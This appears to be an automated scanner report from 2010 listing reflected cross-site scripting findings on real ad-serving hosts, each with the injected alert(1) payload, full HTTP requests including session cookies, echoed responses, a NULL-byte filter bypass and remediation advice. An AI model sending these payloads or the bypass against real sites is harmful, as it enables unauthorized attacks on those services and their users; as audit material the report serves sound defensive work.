Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 313bb'-alert(1)-'46703d67c7b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/bzo.361313bb'-alert(1)-'46703d67c7b/L12_4858519 HTTP/1.1 Host: a.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dal-dc; bkdp=1; JY57=3kLv9HAF1oij2HK9QoO88ruPVtS-4jU-0EtAlYwrF4689JWJDCrmEww; cli=11bbcecf1d09b9d; gce=1;
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 422 Vary: Accept-Encoding Date: Tue, 23 Nov 2010 00:40:59 GMT Connection: close Set-Cookie: dc=dal-dc; domain=collective-media.net; path=/; expires=Thu, 23-Dec-2010 00:40:59 GMT
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c6d74'-alert(1)-'db7e5b31776 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/bzo.361/L12_4858519c6d74'-alert(1)-'db7e5b31776 HTTP/1.1 Host: a.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dal-dc; bkdp=1; JY57=3kLv9HAF1oij2HK9QoO88ruPVtS-4jU-0EtAlYwrF4689JWJDCrmEww; cli=11bbcecf1d09b9d; gce=1;
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 422 Vary: Accept-Encoding Date: Tue, 23 Nov 2010 00:40:59 GMT Connection: close Set-Cookie: dc=dal-dc; domain=collective-media.net; path=/; expires=Thu, 23-Dec-2010 00:40:59 GMT
1.3. http://a.collective-media.net/adj/bzo.361/L12_4858519 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/adj/bzo.361/L12_4858519
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c4b7b'-alert(1)-'47da7a7d81d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/bzo.361/L12_4858519?c4b7b'-alert(1)-'47da7a7d81d=1 HTTP/1.1 Host: a.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dal-dc; bkdp=1; JY57=3kLv9HAF1oij2HK9QoO88ruPVtS-4jU-0EtAlYwrF4689JWJDCrmEww; cli=11bbcecf1d09b9d; gce=1;
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 425 Date: Tue, 23 Nov 2010 00:40:59 GMT Connection: close Set-Cookie: dc=dal-dc; domain=collective-media.net; path=/; expires=Thu, 23-Dec-2010 00:40:59 GMT
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dd6da'-alert(1)-'106b8427d4a was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/bzo.361/L12_4858519;sz=300x250;ord=1290472258dd6da'-alert(1)-'106b8427d4a HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://ib.adnxs.com/if?enc=J4l0oS6h7T-jrrX3qarqPwAAAGBmZgJAMzMzo2ZmAkAAAABgx3EEQHywJDeC9qVM20-els-vlAhCC-tMAAAAAK7tAADLAQAA6AAAAAIAAADcngEAAQAAAFVTRABVU0QALAH6AKAGiQNBCQECBQIEAAAAAAAQIvwX&tt_code=vert-15&udj=uf%28%27a%27%2C+1395%2C+1290472258%29%3Buf%28%27r%27%2C+106204%2C+1290472258%29%3B&cnd=!URMO2giKrAEQ3L0GGIECIMsBKIkHMVVVVRXHcQRAQhMIABAAGAAgASj-__________8BSABQAFigDQ..&referrer=http://www.thetimes.co.uk Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11bbcecf1d09b9d; bkdp=1; gce=1; JY57=3kLv9HAF1oij2HK9QoO88ruPVtS-4jU-0EtAlYwrF4689JWJDCrmEww; dc=dal-dc
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 448 Date: Tue, 23 Nov 2010 01:38:02 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dal-dc; domain=collective-media.net; path=/; expires=Thu, 23-Dec-2010 01:38:02 GMT
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 39f33'-alert(1)-'140cec17a4f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj39f33'-alert(1)-'140cec17a4f/bzo.361/L12_4858519;sz=300x250;net=bzo;ord=1290472258;env=ifr;ord1=578940;cmpgurl=http%253A//www.thetimes.co.uk/tto/news/? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://ib.adnxs.com/if?enc=J4l0oS6h7T-jrrX3qarqPwAAAGBmZgJAMzMzo2ZmAkAAAABgx3EEQHywJDeC9qVM20-els-vlAhCC-tMAAAAAK7tAADLAQAA6AAAAAIAAADcngEAAQAAAFVTRABVU0QALAH6AKAGiQNBCQECBQIEAAAAAAAQIvwX&tt_code=vert-15&udj=uf%28%27a%27%2C+1395%2C+1290472258%29%3Buf%28%27r%27%2C+106204%2C+1290472258%29%3B&cnd=!URMO2giKrAEQ3L0GGIECIMsBKIkHMVVVVRXHcQRAQhMIABAAGAAgASj-__________8BSABQAFigDQ..&referrer=http://www.thetimes.co.uk Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11bbcecf1d09b9d; bkdp=1; gce=1; JY57=3kLv9HAF1oij2HK9QoO88ruPVtS-4jU-0EtAlYwrF4689JWJDCrmEww; dc=dal-dc
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 23 Nov 2010 01:38:02 GMT Connection: close Content-Length: 7496
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("bzo-35133257_1290476282","http://ad.doubleclick.net/adj39f33'-alert(1)-'140cec17a4f/bzo.361/L12_4858519;net=bzo;u=,bzo-35133257_1290476282,11bbcecf1d09b9d,politics,bzo.business_m-bzo.politics_h-bzo.d8n-bzo.e6d-bzo.h3i-bzo.qfpoub-cm.sportsreg-cm.sportsfan-cm.cm_aa_gn1-cm.pb8k-cm.ent_l ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a95d6'-alert(1)-'9b6dfd23785 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/bzo.361a95d6'-alert(1)-'9b6dfd23785/L12_4858519 HTTP/1.1 Host: a.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dal-dc; bkdp=1; JY57=3kLv9HAF1oij2HK9QoO88ruPVtS-4jU-0EtAlYwrF4689JWJDCrmEww; cli=11bbcecf1d09b9d; gce=1;
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 7350 Date: Tue, 23 Nov 2010 00:40:57 GMT Connection: close
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("bzo-30782026_1290472857","http://ad.doubleclick.net//bzo.361a95d6'-alert(1)-'9b6dfd23785/L12_4858519;net=bzo;u=,bzo-30782026_1290472857,11bbcecf1d09b9d,none,bzo.d8n-bzo.e6d-bzo.h3i-bzo.qfpoub-cm.sportsreg-cm.sportsfan-cm.cm_aa_gn1-cm.pb8k-cm.ent_l-cm.sports_h-cm.none_h;;contx=none;dc=d;bt ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d9f72'-alert(1)-'fd9838ce38e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/bzo.361/L12_4858519d9f72'-alert(1)-'fd9838ce38e HTTP/1.1 Host: a.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dal-dc; bkdp=1; JY57=3kLv9HAF1oij2HK9QoO88ruPVtS-4jU-0EtAlYwrF4689JWJDCrmEww; cli=11bbcecf1d09b9d; gce=1;
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 7350 Date: Tue, 23 Nov 2010 00:40:57 GMT Connection: close
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("bzo-67802876_1290472857","http://ad.doubleclick.net//bzo.361/L12_4858519d9f72'-alert(1)-'fd9838ce38e;net=bzo;u=,bzo-67802876_1290472857,11bbcecf1d09b9d,none,bzo.d8n-bzo.e6d-bzo.h3i-bzo.qfpoub-cm.sportsreg-cm.sportsfan-cm.cm_aa_gn1-cm.pb8k-cm.ent_l-cm.sports_h-cm.none_h;;contx=none;dc=d;btg=bzo.d8n;bt ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00dd489'-alert(1)-'020baf1c8ea was submitted in the REST URL parameter 3. This input was echoed as dd489'-alert(1)-'020baf1c8ea in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /cmadj/bzo.361/L12_4858519%00dd489'-alert(1)-'020baf1c8ea;sz=300x250;net=bzo;ord=1290472258; HTTP/1.1 Host: a.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dal-dc; bkdp=1; JY57=3kLv9HAF1oij2HK9QoO88ruPVtS-4jU-0EtAlYwrF4689JWJDCrmEww; cli=11bbcecf1d09b9d; gce=1;
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 7462 Date: Tue, 23 Nov 2010 01:38:03 GMT Connection: close
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("bzo-77664199_1290476283","http://ad.doubleclick.net/adj/bzo.361/L12_4858519%00dd489'-alert(1)-'020baf1c8ea;net=bzo;u=,bzo-77664199_1290476283,11bbcecf1d09b9d,none,bzo.business_m-bzo.politics_h-bzo.d8n-bzo.e6d-bzo.h3i-bzo.qfpoub-cm.sportsreg-cm.sportsfan-cm.cm_aa_gn1-cm.pb8k-cm.ent_l-cm.sports_h-cm.none_h;; ...[SNIP]...
1.9. http://a.collective-media.net/cmadj/bzo.361/L12_4858519 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/cmadj/bzo.361/L12_4858519
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 824a2'-alert(1)-'2f98afc864d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/bzo.361/L12_4858519?824a2'-alert(1)-'2f98afc864d=1 HTTP/1.1 Host: a.collective-media.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dal-dc; bkdp=1; JY57=3kLv9HAF1oij2HK9QoO88ruPVtS-4jU-0EtAlYwrF4689JWJDCrmEww; cli=11bbcecf1d09b9d; gce=1;
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Date: Tue, 23 Nov 2010 00:40:57 GMT Content-Length: 7353 Connection: close
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("bzo-88116657_1290472857","http://ad.doubleclick.net//bzo.361/L12_4858519?824a2'-alert(1)-'2f98afc864d=1;net=bzo;u=,bzo-88116657_1290472857,11bbcecf1d09b9d,none,bzo.d8n-bzo.e6d-bzo.h3i-bzo.qfpoub-cm.sportsreg-cm.sportsfan-cm.cm_aa_gn1-cm.pb8k-cm.ent_l-cm.sports_h-cm.none_h;;contx=none;dc=d;btg=bzo.d8n; ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e118c'-alert(1)-'22272f61bb4 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/bzo.361/L12_4858519;sz=e118c'-alert(1)-'22272f61bb4 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://ib.adnxs.com/if?enc=J4l0oS6h7T-jrrX3qarqPwAAAGBmZgJAMzMzo2ZmAkAAAABgx3EEQHywJDeC9qVM20-els-vlAhCC-tMAAAAAK7tAADLAQAA6AAAAAIAAADcngEAAQAAAFVTRABVU0QALAH6AKAGiQNBCQECBQIEAAAAAAAQIvwX&tt_code=vert-15&udj=uf%28%27a%27%2C+1395%2C+1290472258%29%3Buf%28%27r%27%2C+106204%2C+1290472258%29%3B&cnd=!URMO2giKrAEQ3L0GGIECIMsBKIkHMVVVVRXHcQRAQhMIABAAGAAgASj-__________8BSABQAFigDQ..&referrer=http://www.thetimes.co.uk Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11bbcecf1d09b9d; bkdp=1; gce=1; JY57=3kLv9HAF1oij2HK9QoO88ruPVtS-4jU-0EtAlYwrF4689JWJDCrmEww; dc=dal-dc
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://www.collective.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 23 Nov 2010 01:38:02 GMT Connection: close Content-Length: 7451
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... t=bzo;u=,bzo-53276319_1290476282,11bbcecf1d09b9d,none,bzo.business_m-bzo.politics_h-bzo.d8n-bzo.e6d-bzo.h3i-bzo.qfpoub-cm.sportsreg-cm.sportsfan-cm.cm_aa_gn1-cm.pb8k-cm.ent_l-cm.sports_h-cm.none_h;;sz=e118c'-alert(1)-'22272f61bb4;contx=none;dc=d;btg=bzo.business_m;btg=bzo.politics_h;btg=bzo.d8n;btg=bzo.e6d;btg=bzo.h3i;btg=bzo.qfpoub;btg=cm.sportsreg;btg=cm.sportsfan;btg=cm.cm_aa_gn1;btg=cm.pb8k;btg=cm.ent_l;btg=cm.sports_h;btg ...[SNIP]...
The value of the uid request parameter is copied into the HTML document as plain text between tags. The payload 50b43<script>alert(1)</script>c9301cfa1d8 was submitted in the uid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ads/ads.js?uid=50b43<script>alert(1)</script>c9301cfa1d8 HTTP/1.1 Host: ads.adxpose.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=7471CD3DB854379493AA4D85F9906A72; evlu=63bf6ddc-be0d-40df-a0cc-6fdd6e9f950a;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=70E43028B28B3F3FA1491EAF9E651DD9; Path=/ ETag: "19811" Cache-Control: must-revalidate, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Content-Type: text/javascript;charset=UTF-8 Content-Length: 8194 Date: Tue, 23 Nov 2010 01:38:21 GMT Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9e2b"><script>alert(1)</script>2175b1b2711 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/Timesd9e2b"><script>alert(1)</script>2175b1b2711/paywall/rtg/nov2010/126004@Bottom1 HTTP/1.1 Host: b3-uk.mookie1.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=1618482233066729; dlx_7d=set; OAX=rnoX2ky07x0ACKAn; dlx_20100929=set; NSC_n1efm_qppm_iuuq=ffffffff09097b8545525d5f4f58455e445a4a423660;
Response
HTTP/1.1 200 OK Date: Tue, 23 Nov 2010 00:41:15 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 307 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html
<A HREF="http://b3-uk.mookie1.com/5c/Timesd9e2b"><script>alert(1)</script>2175b1b2711/paywall/rtg/nov2010/2010328193/Bottom1/default/empty.gif/726e6f58326b793037783041434b416e?x" target="_top"><IMG SR ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86db1"><script>alert(1)</script>e04dc326108 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/Times/paywall86db1"><script>alert(1)</script>e04dc326108/rtg/nov2010/126004@Bottom1 HTTP/1.1 Host: b3-uk.mookie1.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=1618482233066729; dlx_7d=set; OAX=rnoX2ky07x0ACKAn; dlx_20100929=set; NSC_n1efm_qppm_iuuq=ffffffff09097b8545525d5f4f58455e445a4a423660;
Response
HTTP/1.1 200 OK Date: Tue, 23 Nov 2010 00:41:15 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 307 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html
<A HREF="http://b3-uk.mookie1.com/5c/Times/paywall86db1"><script>alert(1)</script>e04dc326108/rtg/nov2010/1377699531/Bottom1/default/empty.gif/726e6f58326b793037783041434b416e?x" target="_top"><IMG SR ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8601"><script>alert(1)</script>37690e41e72 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/Times/paywall/rtge8601"><script>alert(1)</script>37690e41e72/nov2010/126004@Bottom1 HTTP/1.1 Host: b3-uk.mookie1.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=1618482233066729; dlx_7d=set; OAX=rnoX2ky07x0ACKAn; dlx_20100929=set; NSC_n1efm_qppm_iuuq=ffffffff09097b8545525d5f4f58455e445a4a423660;
Response
HTTP/1.1 200 OK Date: Tue, 23 Nov 2010 00:41:15 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 307 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html
<A HREF="http://b3-uk.mookie1.com/5c/Times/paywall/rtge8601"><script>alert(1)</script>37690e41e72/nov2010/1006716004/Bottom1/default/empty.gif/726e6f58326b793037783041434b416e?x" target="_top"><IMG SR ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9beb"><script>alert(1)</script>82b33c4b242 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/Times/paywall/rtg/nov2010b9beb"><script>alert(1)</script>82b33c4b242/126004@Bottom1 HTTP/1.1 Host: b3-uk.mookie1.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=1618482233066729; dlx_7d=set; OAX=rnoX2ky07x0ACKAn; dlx_20100929=set; NSC_n1efm_qppm_iuuq=ffffffff09097b8545525d5f4f58455e445a4a423660;
Response
HTTP/1.1 200 OK Date: Tue, 23 Nov 2010 00:41:16 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 307 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html
<A HREF="http://b3-uk.mookie1.com/5c/Times/paywall/rtg/nov2010b9beb"><script>alert(1)</script>82b33c4b242/1400905931/Bottom1/default/empty.gif/726e6f58326b793037783041434b416e?x" target="_top"><IMG SR ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a4e3"><script>alert(1)</script>ecf83670a2a was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/Times/paywall/rtg/nov2010/126004@Bottom14a4e3"><script>alert(1)</script>ecf83670a2a HTTP/1.1 Host: b3-uk.mookie1.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=1618482233066729; dlx_7d=set; OAX=rnoX2ky07x0ACKAn; dlx_20100929=set; NSC_n1efm_qppm_iuuq=ffffffff09097b8545525d5f4f58455e445a4a423660;
Response
HTTP/1.1 200 OK Date: Tue, 23 Nov 2010 00:41:16 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 298 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html
